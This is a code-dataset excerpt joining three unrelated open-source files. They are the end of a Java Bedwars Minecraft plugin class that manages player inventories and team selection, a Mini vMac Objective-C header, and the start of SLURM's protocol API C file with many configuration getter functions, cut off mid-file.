this.effects = this.player.getActivePotionEffects();
this.mode = this.player.getGameMode();
this.left = this.player.getLocation();
this.level = this.player.getLevel();
this.listName = this.player.getPlayerListName();
this.displayName = this.player.getDisplayName();
this.foodLevel = this.player.getFoodLevel();
}
public void clean() {
PlayerInventory inv = this.player.getInventory();
inv.setArmorContents(new ItemStack[4]);
inv.setContents(new ItemStack[] {});
this.player.setAllowFlight(false);
this.player.setFlying(false);
this.player.setExp(0.0F);
this.player.setLevel(0);
this.player.setSneaking(false);
this.player.setSprinting(false);
this.player.setFoodLevel(20);
this.player.setMaxHealth(20.0D);
this.player.setHealth(20.0D);
this.player.setFireTicks(0);
this.player.setGameMode(GameMode.SURVIVAL);
boolean teamnameOnTab = Main.getInstance().getBooleanConfig("teamname-on-tab", true);
boolean overwriteNames = Main.getInstance().getBooleanConfig("overwrite-names", false);
if(overwriteNames) {
Game game = Main.getInstance().getGameManager().getGameOfPlayer(this.player);
if(game != null) {
Team team = game.getPlayerTeam(this.player);
if(team != null) {
this.player.setDisplayName(team.getChatColor() + ChatColor.stripColor(this.player.getName()));
} else {
this.player.setDisplayName(ChatColor.stripColor(this.player.getName()));
}
}
}
if(teamnameOnTab && Utils.isSupportingTitles()) {
Game game = Main.getInstance().getGameManager().getGameOfPlayer(this.player);
if(game != null) {
Team team = game.getPlayerTeam(this.player);
if(team != null) {
this.player.setPlayerListName(team.getChatColor() + team.getName() + ChatColor.WHITE
+ " | " + team.getChatColor() + ChatColor.stripColor(this.player.getDisplayName()));
} else {
this.player.setPlayerListName(ChatColor.stripColor(this.player.getDisplayName()));
}
}
}
if (this.player.isInsideVehicle()) {
this.player.leaveVehicle();
}
for (PotionEffect e : this.player.getActivePotionEffects()) {
this.player.removePotionEffect(e.getType());
}
this.player.updateInventory();
}
public void restore() {
this.player.getInventory().setContents(this.inventory);
this.player.getInventory().setArmorContents(this.armor);
this.player.setGameMode(this.mode);
if (this.mode == GameMode.CREATIVE) {
this.player.setAllowFlight(true);
}
this.player.addPotionEffects(this.effects);
this.player.setLevel(this.level);
this.player.setExp(this.xp);
this.player.setPlayerListName(this.listName);
this.player.setDisplayName(this.displayName);
this.player.setFoodLevel(this.foodLevel);
for (PotionEffect e : this.player.getActivePotionEffects()) {
this.player.removePotionEffect(e.getType());
}
this.player.addPotionEffects(this.effects);
this.player.updateInventory();
}
public Location getLeft() {
return this.left;
}
@SuppressWarnings("deprecation")
public void loadLobbyInventory(Game game) {
ItemMeta im = null;
// choose team only when autobalance is disabled
if(!game.isAutobalanceEnabled()) {
// Choose team (Wool)
ItemStack teamSelection = new ItemStack(Material.BED, 1);
im = teamSelection.getItemMeta();
im.setDisplayName(Main._l("lobby.chooseteam"));
teamSelection.setItemMeta(im);
this.player.getInventory().addItem(teamSelection);
}
// Leave Game (Slimeball)
ItemStack leaveGame = new ItemStack(Material.SLIME_BALL, 1);
im = leaveGame.getItemMeta();
im.setDisplayName(Main._l("lobby.leavegame"));
leaveGame.setItemMeta(im);
this.player.getInventory().setItem(8, leaveGame);
Team team = game.getPlayerTeam(this.player);
if(team != null) {
ItemStack chestplate = new ItemStack(Material.LEATHER_CHESTPLATE, 1);
LeatherArmorMeta meta = (LeatherArmorMeta) chestplate.getItemMeta();
meta.setDisplayName(team.getChatColor() + team.getDisplayName());
meta.setColor(team.getColor().getColor());
chestplate.setItemMeta(meta);
this.player.getInventory().setItem(7, chestplate);
team.equipPlayerWithLeather(this.player);
}
if (this.player.hasPermission("bw.setup") || this.player.isOp()
|| this.player.hasPermission("bw.vip.forcestart")) {
// Force start game (Diamond)
ItemStack startGame = new ItemStack(Material.DIAMOND, 1);
im = startGame.getItemMeta();
im.setDisplayName(Main._l("lobby.startgame"));
startGame.setItemMeta(im);
this.player.getInventory().addItem(startGame);
}
// lobby gamemode
GameMode mode = GameMode.SURVIVAL;
try {
mode = GameMode.getByValue(Main.getInstance().getIntConfig("lobby-gamemode", 0));
} catch(Exception ex) {
// not valid gamemode
}
if(mode == null) {
mode = GameMode.SURVIVAL;
}
this.player.setGameMode(mode);
this.player.updateInventory();
}
@SuppressWarnings("deprecation")
public void openTeamSelection(Game game) {
BedwarsOpenTeamSelectionEvent openEvent = new BedwarsOpenTeamSelectionEvent(
game, this.player);
Main.getInstance().getServer().getPluginManager().callEvent(openEvent);
if (openEvent.isCancelled()) {
return;
}
HashMap<String, Team> teams = game.getTeams();
int nom = (teams.size() % 9 == 0) ? 9 : (teams.size() % 9);
Inventory inv = Bukkit.createInventory(this.player,
teams.size() + (9 - nom),
Main._l("lobby.chooseteam"));
for (Team team : teams.values()) {
List<Player> players = team.getPlayers();
if (players.size() >= team.getMaxPlayers()) {
continue;
}
ItemStack is = new ItemStack(Material.WOOL, 1, team.getColor()
.getDyeColor().getData());
ItemMeta im = is.getItemMeta();
im.setDisplayName(team.getChatColor() + team.getName());
ArrayList<String> teamplayers = new ArrayList<>();
int teamPlayerSize = team.getPlayers().size();
int maxPlayers = team.getMaxPlayers();
String current = "0";
if (teamPlayerSize >= maxPlayers) {
current = ChatColor.RED + String.valueOf(teamPlayerSize);
} else {
current = ChatColor.YELLOW + String.valueOf(teamPlayerSize);
}
teamplayers.add(ChatColor.GRAY + "(" + current + ChatColor.GRAY
+ "/" + ChatColor.YELLOW + String.valueOf(maxPlayers)
+ ChatColor.GRAY + ")");
teamplayers.add(ChatColor.WHITE + "---------");
for (Player teamPlayer : players) {
teamplayers.add(team.getChatColor() + ChatColor.stripColor(teamPlayer.getDisplayName()));
}
im.setLore(teamplayers);
is.setItemMeta(im);
inv.addItem(is);
}
this.player.openInventory(inv);
}
}
|
homedog21/bedwars-reloaded
|
src/io/github/yannici/bedwars/Game/PlayerStorage.java
|
Java
|
gpl-2.0
| 9,378
|
//
// UIImage+DiskImageIcon.h
// Mini vMac
//
// Created by Jesús A. Álvarez on 21/05/2016.
// Copyright © 2016-2018 namedfork. All rights reserved.
//
#import <UIKit/UIKit.h>
extern NSString *DidUpdateIconForDiskImageNotification;
@interface UIImage (DiskImageIcon)
+ (UIImage *)imageWithIconForDiskImage:(NSString *)path;
@end
|
zydeco/minivmac4ios
|
Mini vMac/UIImage+DiskImageIcon.h
|
C
|
gpl-2.0
| 341
|
/*****************************************************************************\
* slurm_protocol_api.c - high-level slurm communication functions
*****************************************************************************
* Copyright (C) 2002-2007 The Regents of the University of California.
* Copyright (C) 2008-2010 Lawrence Livermore National Security.
* Copyright (C) 2010-2015 SchedMD LLC.
* Copyright (C) 2013 Intel, Inc.
* Produced at Lawrence Livermore National Laboratory (cf, DISCLAIMER).
* Written by Kevin Tew <tew1@llnl.gov>, et. al.
* CODE-OCEC-09-009. All rights reserved.
*
* This file is part of SLURM, a resource management program.
* For details, see <http://slurm.schedmd.com/>.
* Please also read the included file: DISCLAIMER.
*
* SLURM is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* In addition, as a special exception, the copyright holders give permission
* to link the code of portions of this program with the OpenSSL library under
* certain conditions as described in each individual source file, and
* distribute linked combinations including the two. You must obey the GNU
* General Public License in all respects for all of the code used other than
* OpenSSL. If you modify file(s) with this exception, you may extend this
* exception to your version of the file(s), but you are not obligated to do
* so. If you do not wish to do so, delete this exception statement from your
* version. If you delete this exception statement from all source files in
* the program, then also delete it here.
*
* SLURM is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along
* with SLURM; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
\*****************************************************************************/
#if HAVE_CONFIG_H
# include "config.h"
#endif
/* GLOBAL INCLUDES */
#ifdef WITH_PTHREADS
# include <pthread.h>
#endif /* WITH_PTHREADS */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <ctype.h>
/* PROJECT INCLUDES */
#include "src/common/fd.h"
#include "src/common/macros.h"
#include "src/common/pack.h"
#include "src/common/parse_spec.h"
#include "src/common/read_config.h"
#include "src/common/slurm_auth.h"
#include "src/common/slurm_protocol_interface.h"
#include "src/common/slurm_protocol_api.h"
#include "src/common/slurm_protocol_common.h"
#include "src/common/slurm_protocol_pack.h"
#include "src/common/slurm_route.h"
#include "src/common/xmalloc.h"
#include "src/common/xstring.h"
#include "src/common/log.h"
#include "src/common/forward.h"
#include "src/common/msg_aggr.h"
#include "src/slurmdbd/read_config.h"
#include "src/common/slurm_accounting_storage.h"
#include "src/common/slurm_strcasestr.h"
/* EXTERNAL VARIABLES */
/* #DEFINES */
#define _DEBUG 0
#define MAX_SHUTDOWN_RETRY 5
/* STATIC VARIABLES */
/* static pthread_mutex_t config_lock = PTHREAD_MUTEX_INITIALIZER; */
static slurm_protocol_config_t proto_conf_default;
static slurm_protocol_config_t *proto_conf = &proto_conf_default;
/* static slurm_ctl_conf_t slurmctld_conf; */
static int message_timeout = -1;
/* STATIC FUNCTIONS */
static char *_global_auth_key(void);
static void _remap_slurmctld_errno(void);
static int _unpack_msg_uid(Buf buffer);
static bool _is_port_ok(int, uint16_t);
static void _slurm_set_addr_any(slurm_addr_t * slurm_address, uint16_t port);
#if _DEBUG
static void _print_data(char *data, int len);
#endif
/* define the slurmdbd_options flag */
slurm_dbd_conf_t *slurmdbd_conf = NULL;
/**********************************************************************\
* protocol configuration functions
\**********************************************************************/
/* slurm_set_api_config
* sets the slurm_protocol_config object
* NOT THREAD SAFE
* IN protocol_conf - slurm_protocol_config object
*
* XXX: Why isn't the "config_lock" mutex used here?
*/
int slurm_set_api_config(slurm_protocol_config_t * protocol_conf)
{
proto_conf = protocol_conf;
return SLURM_SUCCESS;
}
/* slurm_get_api_config
* returns a pointer to the current slurm_protocol_config object
* RET slurm_protocol_config_t - current slurm_protocol_config object
*/
slurm_protocol_config_t *slurm_get_api_config(void)
{
return proto_conf;
}
/* slurm_api_set_default_config
* called by the send_controller_msg function to insure that at least
* the compiled in default slurm_protocol_config object is initialized
* RET int - return code
*/
int slurm_api_set_default_config(void)
{
int rc = SLURM_SUCCESS;
slurm_ctl_conf_t *conf;
/*slurm_conf_init(NULL);*/
conf = slurm_conf_lock();
if (conf->control_addr == NULL) {
error("Unable to establish controller machine");
rc = SLURM_ERROR;
goto cleanup;
}
if (conf->slurmctld_port == 0) {
error("Unable to establish controller port");
rc = SLURM_ERROR;
goto cleanup;
}
slurm_set_addr(&proto_conf_default.primary_controller,
conf->slurmctld_port,
conf->control_addr);
if (proto_conf_default.primary_controller.sin_port == 0) {
error("Unable to establish control machine address");
rc = SLURM_ERROR;
goto cleanup;
}
if (conf->backup_addr) {
slurm_set_addr(&proto_conf_default.secondary_controller,
conf->slurmctld_port,
conf->backup_addr);
}
proto_conf = &proto_conf_default;
cleanup:
slurm_conf_unlock();
return rc;
}
/* slurm_api_clear_config
* execute this only at program termination to free all memory */
void slurm_api_clear_config(void)
{
slurm_conf_destroy();
}
/* slurm_get_complete_wait
* RET CompleteWait value from slurm.conf
*/
uint16_t slurm_get_complete_wait(void)
{
uint16_t complete_wait = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
complete_wait = conf->complete_wait;
slurm_conf_unlock();
}
return complete_wait;
}
/* slurm_get_cpu_freq_def
* RET CpuFreqDef value from slurm.conf
*/
uint32_t slurm_get_cpu_freq_def(void)
{
uint32_t cpu_freq_def = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
cpu_freq_def = conf->cpu_freq_def;
slurm_conf_unlock();
}
return cpu_freq_def;
}
/* slurm_get_cpu_freq_govs
* RET CpuFreqGovernors value from slurm.conf
*/
uint32_t slurm_get_cpu_freq_govs(void)
{
uint32_t cpu_freq_govs = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
cpu_freq_govs = conf->cpu_freq_govs;
slurm_conf_unlock();
}
return cpu_freq_govs;
}
/* update internal configuration data structure as needed.
* exit with lock set */
/* static inline void _lock_update_config() */
/* { */
/* slurm_api_set_default_config(); */
/* slurm_mutex_lock(&config_lock); */
/* } */
/* slurm_get_batch_start_timeout
* RET BatchStartTimeout value from slurm.conf
*/
uint16_t slurm_get_batch_start_timeout(void)
{
uint16_t batch_start_timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
batch_start_timeout = conf->batch_start_timeout;
slurm_conf_unlock();
}
return batch_start_timeout;
}
/* slurm_get_suspend_timeout
* RET SuspendTimeout value from slurm.conf
*/
uint16_t slurm_get_suspend_timeout(void)
{
uint16_t suspend_timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
suspend_timeout = conf->suspend_timeout;
slurm_conf_unlock();
}
return suspend_timeout;
}
/* slurm_get_resume_timeout
* RET ResumeTimeout value from slurm.conf
*/
uint16_t slurm_get_resume_timeout(void)
{
uint16_t resume_timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
resume_timeout = conf->resume_timeout;
slurm_conf_unlock();
}
return resume_timeout;
}
/* slurm_get_suspend_time
* RET SuspendTime value from slurm.conf
*/
uint32_t slurm_get_suspend_time(void)
{
uint32_t suspend_time = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
suspend_time = conf->suspend_time;
slurm_conf_unlock();
}
return suspend_time;
}
/* slurm_get_def_mem_per_cpu
* RET DefMemPerCPU/Node value from slurm.conf
*/
uint32_t slurm_get_def_mem_per_cpu(void)
{
uint32_t mem_per_cpu = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
mem_per_cpu = conf->def_mem_per_cpu;
slurm_conf_unlock();
}
return mem_per_cpu;
}
/* slurm_get_kill_on_bad_exit
* RET KillOnBadExit value from slurm.conf
*/
uint16_t slurm_get_kill_on_bad_exit(void)
{
uint16_t kill_on_bad_exit = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
kill_on_bad_exit = conf->kill_on_bad_exit;
slurm_conf_unlock();
}
return kill_on_bad_exit;
}
/* slurm_get_prolog_flags
* RET PrologFlags value from slurm.conf
*/
uint32_t slurm_get_prolog_flags(void)
{
uint32_t prolog_flags = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
prolog_flags = conf->prolog_flags;
slurm_conf_unlock();
}
return prolog_flags;
}
/* slurm_get_debug_flags
* RET DebugFlags value from slurm.conf
*/
uint64_t slurm_get_debug_flags(void)
{
uint64_t debug_flags = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
debug_flags = slurmdbd_conf->debug_flags;
} else {
conf = slurm_conf_lock();
debug_flags = conf->debug_flags;
slurm_conf_unlock();
}
return debug_flags;
}
/* slurm_set_debug_flags
*/
void slurm_set_debug_flags(uint64_t debug_flags)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
conf->debug_flags = debug_flags;
slurm_conf_unlock();
}
}
/* slurm_get_max_mem_per_cpu
* RET MaxMemPerCPU/Node value from slurm.conf
*/
uint32_t slurm_get_max_mem_per_cpu(void)
{
uint32_t mem_per_cpu = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
mem_per_cpu = conf->max_mem_per_cpu;
slurm_conf_unlock();
}
return mem_per_cpu;
}
/* slurm_get_epilog_msg_time
* RET EpilogMsgTime value from slurm.conf
*/
uint32_t slurm_get_epilog_msg_time(void)
{
uint32_t epilog_msg_time = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
epilog_msg_time = conf->epilog_msg_time;
slurm_conf_unlock();
}
return epilog_msg_time;
}
/* slurm_get_env_timeout
* return default timeout for srun/sbatch --get-user-env option
*/
extern int slurm_get_env_timeout(void)
{
int timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
timeout = conf->get_env_timeout;
slurm_conf_unlock();
}
return timeout;
}
/* slurm_get_max_array_size
* return MaxArraySize configuration parameter
*/
extern uint32_t slurm_get_max_array_size(void)
{
int max_array_size = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
max_array_size = conf->max_array_sz;
slurm_conf_unlock();
}
return max_array_size;
}
/* slurm_get_mpi_default
* get default mpi value from slurmctld_conf object
* RET char * - mpi default value from slurm.conf, MUST be xfreed by caller
*/
char *slurm_get_mpi_default(void)
{
char *mpi_default = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
mpi_default = xstrdup(conf->mpi_default);
slurm_conf_unlock();
}
return mpi_default;
}
/* slurm_get_mpi_params
* get mpi parameters value from slurmctld_conf object
* RET char * - mpi default value from slurm.conf, MUST be xfreed by caller
*/
char *slurm_get_mpi_params(void)
{
char *mpi_params = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
mpi_params = xstrdup(conf->mpi_params);
slurm_conf_unlock();
}
return mpi_params;
}
/* slurm_get_msg_aggr_params
* get message aggregation parameters value from slurmctld_conf object
* RET char * - message aggregation value from slurm.conf,
* MUST be xfreed by caller
*/
char *slurm_get_msg_aggr_params(void)
{
char *msg_aggr_params = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
msg_aggr_params = xstrdup(conf->msg_aggr_params);
slurm_conf_unlock();
}
return msg_aggr_params;
}
/* slurm_get_msg_timeout
* get default message timeout value from slurmctld_conf object
*/
uint16_t slurm_get_msg_timeout(void)
{
uint16_t msg_timeout = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
msg_timeout = slurmdbd_conf->msg_timeout;
} else {
conf = slurm_conf_lock();
msg_timeout = conf->msg_timeout;
slurm_conf_unlock();
#ifdef MEMORY_LEAK_DEBUG
msg_timeout *= 4;
#endif
}
return msg_timeout;
}
/* slurm_get_plugin_dir
* get plugin directory from slurmctld_conf object
* RET char * - plugin directory, MUST be xfreed by caller
*/
char *slurm_get_plugin_dir(void)
{
char *plugin_dir = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
plugin_dir = xstrdup(slurmdbd_conf->plugindir);
} else {
conf = slurm_conf_lock();
plugin_dir = xstrdup(conf->plugindir);
slurm_conf_unlock();
}
return plugin_dir;
}
/* slurm_get_priority_decay_hl
* returns the priority decay half life in seconds from slurmctld_conf object
* RET uint32_t - decay_hl in secs.
*/
uint32_t slurm_get_priority_decay_hl(void)
{
uint32_t priority_hl = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
priority_hl = conf->priority_decay_hl;
slurm_conf_unlock();
}
return priority_hl;
}
/* slurm_get_priority_calc_period
* returns the seconds between priority decay calculation from slurmctld_conf
* RET uint32_t - calc_period in secs.
*/
uint32_t slurm_get_priority_calc_period(void)
{
uint32_t calc_period = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
calc_period = conf->priority_calc_period;
slurm_conf_unlock();
}
return calc_period;
}
/* slurm_get_priority_favor_small
* returns weither or not we are favoring small jobs from slurmctld_conf object
* RET bool - true if favor small, false else.
*/
bool slurm_get_priority_favor_small(void)
{
bool factor = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->priority_favor_small;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_priority_max_age
* returns the priority age max in seconds from slurmctld_conf object
* RET uint32_t - age_max in secs.
*/
uint32_t slurm_get_priority_max_age(void)
{
uint32_t age = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
age = conf->priority_max_age;
slurm_conf_unlock();
}
return age;
}
/* slurm_get_priority_params
* RET char * - Value of PriorityParameters, MUST be xfreed by caller */
char *slurm_get_priority_params(void)
{
char *params = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
params = xstrdup(conf->priority_params);
slurm_conf_unlock();
}
return params;
}
/* slurm_get_priority_reset_period
* returns the priority usage reset period from slurmctld_conf object
* RET uint16_t - flag, see PRIORITY_RESET_* in slurm/slurm.h.
*/
uint16_t slurm_get_priority_reset_period(void)
{
uint16_t reset_period = (uint16_t) 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
reset_period = conf->priority_reset_period;
slurm_conf_unlock();
}
return reset_period;
}
/* slurm_get_priority_type
* returns the priority type from slurmctld_conf object
* RET char * - priority type, MUST be xfreed by caller
*/
char *slurm_get_priority_type(void)
{
char *priority_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
priority_type = xstrdup(conf->priority_type);
slurm_conf_unlock();
}
return priority_type;
}
/* slurm_get_priority_weight_age
* returns the priority weight for age from slurmctld_conf object
* RET uint32_t - factor weight.
*/
uint32_t slurm_get_priority_weight_age(void)
{
uint32_t factor = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->priority_weight_age;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_priority_weight_fairshare
* returns the priority weight for fairshare from slurmctld_conf object
* RET uint32_t - factor weight.
*/
uint32_t slurm_get_priority_weight_fairshare(void)
{
uint32_t factor = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->priority_weight_fs;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_fs_dampening_factor
* returns the dampening factor for fairshare from slurmctld_conf object
* RET uint32_t - factor.
*/
uint16_t slurm_get_fs_dampening_factor(void)
{
uint16_t factor = 1;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->fs_dampening_factor;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_priority_weight_job_size
* returns the priority weight for job size from slurmctld_conf object
* RET uint32_t - factor weight.
*/
uint32_t slurm_get_priority_weight_job_size(void)
{
uint32_t factor = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->priority_weight_js;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_priority_weight_partition
* returns the priority weight for partitions from slurmctld_conf object
* RET uint32_t - factor weight.
*/
uint32_t slurm_get_priority_weight_partition(void)
{
uint32_t factor = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->priority_weight_part;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_priority_weight_qos
* returns the priority weight for QOS from slurmctld_conf object
* RET uint32_t - factor weight.
*/
uint32_t slurm_get_priority_weight_qos(void)
{
uint32_t factor = NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
factor = conf->priority_weight_qos;
slurm_conf_unlock();
}
return factor;
}
/* slurm_get_private_data
* get private data from slurmctld_conf object
*/
uint16_t slurm_get_private_data(void)
{
uint16_t private_data = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
private_data = slurmdbd_conf->private_data;
} else {
conf = slurm_conf_lock();
private_data = conf->private_data;
slurm_conf_unlock();
}
return private_data;
}
/* slurm_get_state_save_location
* get state_save_location from slurmctld_conf object from slurmctld_conf object
* RET char * - state_save_location directory, MUST be xfreed by caller
*/
char *slurm_get_state_save_location(void)
{
char *state_save_loc = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
state_save_loc = xstrdup(conf->state_save_location);
slurm_conf_unlock();
}
return state_save_loc;
}
/* slurm_get_auth_type
* returns the authentication type from slurmctld_conf object
* RET char * - auth type, MUST be xfreed by caller
*/
char *slurm_get_auth_type(void)
{
char *auth_type = NULL;
slurm_ctl_conf_t *conf = NULL;
if (slurmdbd_conf) {
auth_type = xstrdup(slurmdbd_conf->auth_type);
} else {
conf = slurm_conf_lock();
auth_type = xstrdup(conf->authtype);
slurm_conf_unlock();
}
return auth_type;
}
/* slurm_get_bb_type
* returns the BurstBufferType (bb_type) from slurmctld_conf object
* RET char * - BurstBufferType, MUST be xfreed by caller
*/
extern char *slurm_get_bb_type(void)
{
char *bb_type = NULL;
slurm_ctl_conf_t *conf = NULL;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
bb_type = xstrdup(conf->bb_type);
slurm_conf_unlock();
}
return bb_type;
}
/* slurm_get_checkpoint_type
* returns the checkpoint_type from slurmctld_conf object
* RET char * - checkpoint type, MUST be xfreed by caller
*/
extern char *slurm_get_checkpoint_type(void)
{
char *checkpoint_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
checkpoint_type = xstrdup(conf->checkpoint_type);
slurm_conf_unlock();
}
return checkpoint_type;
}
/* slurm_get_cluster_name
* returns the cluster name from slurmctld_conf object
* RET char * - cluster name, MUST be xfreed by caller
*/
char *slurm_get_cluster_name(void)
{
char *name = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
name = xstrdup(conf->cluster_name);
slurm_conf_unlock();
}
return name;
}
/* slurm_get_crypto_type
* returns the crypto_type from slurmctld_conf object
* RET char * - crypto type, MUST be xfreed by caller
*/
extern char *slurm_get_crypto_type(void)
{
char *crypto_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
crypto_type = xstrdup(conf->crypto_type);
slurm_conf_unlock();
}
return crypto_type;
}
/* slurm_get_power_parameters
* returns the PowerParameters from slurmctld_conf object
* RET char * - PowerParameters, MUST be xfreed by caller
*/
extern char *slurm_get_power_parameters(void)
{
char *power_parameters = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
power_parameters = xstrdup(conf->power_parameters);
slurm_conf_unlock();
}
return power_parameters;
}
/* slurm_set_power_parameters
* reset the PowerParameters object
*/
extern void slurm_set_power_parameters(char *power_parameters)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
xfree(conf->power_parameters);
conf->power_parameters = xstrdup(power_parameters);
slurm_conf_unlock();
}
}
/* slurm_get_power_plugin
* returns the PowerPlugin from slurmctld_conf object
* RET char * - PowerPlugin, MUST be xfreed by caller
*/
extern char *slurm_get_power_plugin(void)
{
char *power_plugin = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
power_plugin = xstrdup(conf->power_plugin);
slurm_conf_unlock();
}
return power_plugin;
}
/* slurm_get_topology_param
* returns the value of topology_param in slurmctld_conf object
* RET char * - topology parameters, MUST be xfreed by caller
*/
extern char * slurm_get_topology_param(void)
{
char *topology_param = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
topology_param = xstrdup(conf->topology_param);
slurm_conf_unlock();
}
return topology_param;
}
/* slurm_get_topology_plugin
* returns the value of topology_plugin in slurmctld_conf object
* RET char * - topology type, MUST be xfreed by caller
*/
extern char * slurm_get_topology_plugin(void)
{
char *topology_plugin = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
topology_plugin = xstrdup(conf->topology_plugin);
slurm_conf_unlock();
}
return topology_plugin;
}
/* slurm_get_propagate_prio_process
* return the PropagatePrioProcess flag from slurmctld_conf object
*/
extern uint16_t slurm_get_propagate_prio_process(void)
{
uint16_t propagate_prio = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
propagate_prio = conf->propagate_prio_process;
slurm_conf_unlock();
}
return propagate_prio;
}
/* slurm_get_fast_schedule
* returns the value of fast_schedule in slurmctld_conf object
*/
extern uint16_t slurm_get_fast_schedule(void)
{
uint16_t fast_val = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
fast_val = conf->fast_schedule;
slurm_conf_unlock();
}
return fast_val;
}
/* slurm_get_route_plugin
* returns the value of route_plugin in slurmctld_conf object
* RET char * - route type, MUST be xfreed by caller
*/
extern char * slurm_get_route_plugin(void)
{
char *route_plugin = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
route_plugin = xstrdup(conf->route_plugin);
slurm_conf_unlock();
}
return route_plugin;
}
/* slurm_get_track_wckey
* returns the value of track_wckey in slurmctld_conf object
*/
extern uint16_t slurm_get_track_wckey(void)
{
uint16_t track_wckey = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
track_wckey = slurmdbd_conf->track_wckey;
} else {
conf = slurm_conf_lock();
track_wckey = conf->track_wckey;
slurm_conf_unlock();
}
return track_wckey;
}
/* slurm_get_use_spec_resources
* returns the value of use_spec_resources in slurmctld_conf object
*/
